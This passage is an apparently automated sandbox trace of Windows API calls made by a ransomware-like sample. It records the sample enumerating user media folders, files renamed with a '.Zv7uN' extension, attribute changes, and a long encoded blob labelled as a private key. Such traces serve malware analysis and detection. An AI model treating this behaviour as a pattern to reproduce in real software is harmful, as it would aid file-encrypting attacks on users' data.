dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kwSeo.wav.Zv7uN", cAlternateFileName="KWSEOW~1.ZV7")) returned 1 [0086.763] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.763] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46601bf0, ftCreationTime.dwHighDateTime=0x1d5e25c, ftLastAccessTime.dwLowDateTime=0x6e7c7750, ftLastAccessTime.dwHighDateTime=0x1d5dff5, ftLastWriteTime.dwLowDateTime=0x5195bd20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1650b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="nnUgj.wav.Zv7uN", cAlternateFileName="NNUGJW~1.ZV7")) returned 1 [0086.763] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.763] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15307f60, ftCreationTime.dwHighDateTime=0x1d5dee3, ftLastAccessTime.dwLowDateTime=0x926928c0, ftLastAccessTime.dwHighDateTime=0x1d5d91a, ftLastWriteTime.dwLowDateTime=0x519a7fe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x132dd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="RVJVF_UB10M.mp3.Zv7uN", cAlternateFileName="RVJVF_~1.ZV7")) returned 1 [0086.763] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.763] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c20340, ftCreationTime.dwHighDateTime=0x1d5e4a0, ftLastAccessTime.dwLowDateTime=0x8f58c260, ftLastAccessTime.dwHighDateTime=0x1d5e097, ftLastWriteTime.dwLowDateTime=0x519ce140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xacdf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ubuEcUUpKFtZ1N.mp3.Zv7uN", cAlternateFileName="UBUECU~1.ZV7")) returned 1 [0086.763] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.763] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3739eae0, ftCreationTime.dwHighDateTime=0x1d5e48a, ftLastAccessTime.dwLowDateTime=0x35e11fd0, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x51a1a400, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x2014, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZpCcyuBa0.wav.Zv7uN", cAlternateFileName="ZPCCYU~1.ZV7")) returned 1 [0086.763] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.763] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.763] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3739eae0, ftCreationTime.dwHighDateTime=0x1d5e48a, ftLastAccessTime.dwLowDateTime=0x35e11fd0, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x51a1a400, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x2014, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZpCcyuBa0.wav.Zv7uN", cAlternateFileName="ZPCCYU~1.ZV7")) returned 0 [0086.763] GetLastError () returned 0x12 [0086.763] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.764] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Zyj26cHu tegBHSw1Uj", cAlternateFileName="ZYJ26C~1")) returned 0 [0086.764] GetLastError () returned 0x12 [0086.764] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0086.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a841b80, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x68c22160, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x511532e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12991, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="Zspe9.m4a.Zv7uN", cAlternateFileName="ZSPE9M~1.ZV7")) returned 1 [0086.764] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.764] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.764] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a841b80, ftCreationTime.dwHighDateTime=0x1d5dc20, ftLastAccessTime.dwLowDateTime=0x68c22160, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x511532e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12991, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="Zspe9.m4a.Zv7uN", cAlternateFileName="ZSPE9M~1.ZV7")) returned 0 [0086.764] GetLastError () returned 0x12 [0086.764] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0086.765] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0086.767] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos")) returned 0x11 [0086.768] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0086.768] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb45b9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb45b9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0086.768] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xdb45b9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb45b9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee13df30, ftCreationTime.dwHighDateTime=0x1d5e5c7, ftLastAccessTime.dwLowDateTime=0xc7a9c170, ftLastAccessTime.dwHighDateTime=0x1d5da69, ftLastWriteTime.dwLowDateTime=0xc7a9c170, ftLastWriteTime.dwHighDateTime=0x1d5da69, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="AQq3p", cAlternateFileName="")) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.768] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0086.768] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa90ae1b0, ftCreationTime.dwHighDateTime=0x1d5d963, ftLastAccessTime.dwLowDateTime=0x7ada0760, ftLastAccessTime.dwHighDateTime=0x1d5e71b, ftLastWriteTime.dwLowDateTime=0x7ada0760, ftLastWriteTime.dwHighDateTime=0x1d5e71b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="DxP-tIBe7AmaJ6pj", cAlternateFileName="DXP-TI~1")) returned 1 [0086.768] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0xbd5e5e80, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, ftLastWriteTime.dwLowDateTime=0xbd5e5e80, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="EvnXETH8or", cAlternateFileName="EVNXET~1")) returned 1 [0086.769] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb6ec90, ftCreationTime.dwHighDateTime=0x1d5db06, ftLastAccessTime.dwLowDateTime=0x898999b0, ftLastAccessTime.dwHighDateTime=0x1d5e7de, ftLastWriteTime.dwLowDateTime=0x898999b0, ftLastWriteTime.dwHighDateTime=0x1d5e7de, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="n7T_pRq.flv", cAlternateFileName="")) returned 1 [0086.769] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0086.769] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0086.769] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb6ec90, ftCreationTime.dwHighDateTime=0x1d5db06, ftLastAccessTime.dwLowDateTime=0x898999b0, ftLastAccessTime.dwHighDateTime=0x1d5e7de, ftLastWriteTime.dwLowDateTime=0x898999b0, ftLastWriteTime.dwHighDateTime=0x1d5e7de, nFileSizeHigh=0x0, nFileSizeLow=0xa497)) returned 1 [0086.769] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n7t_prq.flv")) returned 0x20 [0086.769] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n7T_pRq.flv", dwFileAttributes=0x80) returned 1 [0086.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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